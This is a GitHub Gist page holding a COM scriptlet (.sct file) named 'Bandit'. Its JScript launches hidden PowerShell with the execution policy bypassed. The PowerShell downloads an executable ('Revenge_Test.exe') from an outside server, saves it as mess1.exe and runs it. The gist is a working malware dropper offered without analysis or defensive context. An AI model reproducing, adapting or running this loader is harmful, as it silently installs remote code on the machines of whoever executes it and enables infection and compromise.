Skip to content

Instantly share code, notes, and snippets.

@Elm0D
Last active May 1, 2017 12:46
Show Gist options
  • Save Elm0D/5ea6814509c659558341410c2f59c618 to your computer and use it in GitHub Desktop.
Save Elm0D/5ea6814509c659558341410c2f59c618 to your computer and use it in GitHub Desktop.
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var c = "$down = New-Object System.Net.WebClient;; $url = 'http://servergames.xyz/Revenge_Test.exe';; $file = 'mess1.exe';; $down.DownloadFile($url,$file);; $exec = New-Object -com shell.application;; $exec.shellexecute($file);; exit;;";
var ps = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command ';
var r = new ActiveXObject("WScript.Shell").Exec(ps + c);
]]>
</script>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment